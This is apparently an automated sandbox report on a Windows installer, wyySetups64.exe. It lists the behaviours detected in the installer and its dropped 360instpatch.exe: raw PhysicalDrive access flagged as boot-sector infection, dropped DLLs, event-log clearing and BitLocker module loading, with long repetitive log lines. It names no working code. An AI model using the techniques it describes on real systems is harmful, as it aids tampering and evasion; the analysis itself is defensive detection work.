Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B27330 push ecx; mov dword ptr [esp], 00000000h	9_2_00B27331

Persistence and Installation Behavior

Contains functionality to infect the boot sector

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B82158
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_00B92210
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_00B925D0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B818BD
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B81A51
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B81BEB
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _malloc,SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B166F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,_malloc,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B92760
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B16759
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B268A0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	8_2_00B26AE0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,_malloc,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_6BF52940
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_6BF523F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_6BF527B0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_6BEE46C9
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: RegQueryValueExW,_malloc,SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_6BEE4660
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B82158
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	9_2_00B92210
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	9_2_00B925D0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B166F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B92760
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B16759
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B268A0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	9_2_00B26AE0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B818BD
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B81A51
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B81BEB

Source: C:\Users\user\Desktop\wyySetups64.exe	File created: C:\Users\user\Downloads\360instpatch.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wyySetups64.exe	File created: C:\Users\user\AppData\Roaming\wyySetups64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\wyySetups64.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\360instpatch[1].exe	Jump to dropped file
Source: C:\Users\user\Downloads\360instpatch.exe	File created: C:\Users\user\AppData\Local\Temp\{DFE14265-3905-4689-9143-1E1473933304}.tmp\360P2SP.dll	Jump to dropped file
Source: C:\Users\user\Downloads\360instpatch.exe	File created: C:\Users\user\AppData\Local\Temp\{A44B7723-4283-41b8-B9C0-6B1983C61382}.tmp\sites.dll	Jump to dropped file

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B7DA24 GetPrivateProfileStringW,	8_2_00B7DA24
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B49A0C _memset,SHGetValueW,PathAppendW,PathAppendW,PathAppendW,PathFileExistsW,GetPrivateProfileIntW,__time64,	8_2_00B49A0C
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF0FE46 GetPrivateProfileIntW,_memset,_wcslen,_memset,inet_addr,inet_addr,GetPrivateProfileIntW,GetPrivateProfileIntW,_memset,_wcslen,_memset,inet_addr,inet_addr,_memset,_wcslen,_memset,inet_addr,inet_addr,_wcslen,__wcslwr,wsprintfW,	8_2_6BF0FE46
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B7DA24 GetPrivateProfileStringW,	9_2_00B7DA24
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B49A0C _memset,SHGetValueW,PathAppendW,PathAppendW,PathAppendW,PathFileExistsW,GetPrivateProfileIntW,__time64,	9_2_00B49A0C

Boot Survival

Contains functionality to infect the boot sector

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B82158
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_00B92210
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_00B925D0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B818BD
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B81A51
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	8_2_00B81BEB
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _malloc,SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B166F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,_malloc,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B92760
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B16759
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_00B268A0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	8_2_00B26AE0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,_malloc,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_6BF52940
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_6BF523F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	8_2_6BF527B0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_6BEE46C9
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: RegQueryValueExW,_malloc,SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	8_2_6BEE4660
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: __EH_prolog3,CreateFileW,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B82158
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,DeviceIoControl,CloseHandle,_memset,CloseHandle, \\.\PhysicalDrive%d	9_2_00B92210
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,CreateFileA,_memset,DeviceIoControl,_memset,CloseHandle, \\.\PhysicalDrive%d	9_2_00B925D0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: SetLastError,CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B166F0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: DeviceIoControl,CreateFileA,DeviceIoControl,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B92760
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileA,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B16759
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,DeviceIoControl,DeviceIoControl,CloseHandle,_memset,DeviceIoControl,CloseHandle, \\.\PhysicalDrive%d	9_2_00B268A0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: CreateFileW,_memset,DeviceIoControl,CloseHandle,_memset,_memset,StrTrimA,StrTrimA,CloseHandle, \\.\PhysicalDrive%d	9_2_00B26AE0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B818BD
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,_memset,_memcpy_s,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B81A51
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: _memset,CreateFileW,_memset,DeviceIoControl,CloseHandle, \\.\PHYSICALDRIVE%d	9_2_00B81BEB

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B6A4F6 __EH_prolog3,IsIconic,ShowWindow,	8_2_00B6A4F6
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B46727 FindWindowW,ShowWindow,IsWindowVisible,IsIconic,BringWindowToTop,	8_2_00B46727
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B45C31 IsWindow,IsIconic,ShowWindow,ShowWindow,IsWindowVisible,ShowWindow,SetForegroundWindow,SetWindowPos,SetWindowPos,SetWindowPos,	8_2_00B45C31
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B46727 FindWindowW,ShowWindow,IsWindowVisible,IsIconic,BringWindowToTop,	9_2_00B46727
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B45C31 IsWindow,IsIconic,ShowWindow,ShowWindow,IsWindowVisible,ShowWindow,SetForegroundWindow,SetWindowPos,SetWindowPos,SetWindowPos,	9_2_00B45C31

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_0337B3C0 OpenEventLogW,OpenEventLogW,ClearEventLogW,CloseEventLog,

1_2_0337B3C0

Source: C:\Users\user\Downloads\360instpatch.exe

Code function: 8_2_00B35706 __EH_prolog3,_memset,GetWindowsDirectoryW,LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

8_2_00B35706

Source: C:\Users\user\Downloads\360instpatch.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\LiveUpdate360

Jump to behavior

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Key value created or modified: HKEY_CURRENT_USER\Console\0 9e9e85e05ee16fc372a0c7df6549fbd4

Jump to behavior

Source: C:\Users\user\Desktop\wyySetups64.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\wyySetups64.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
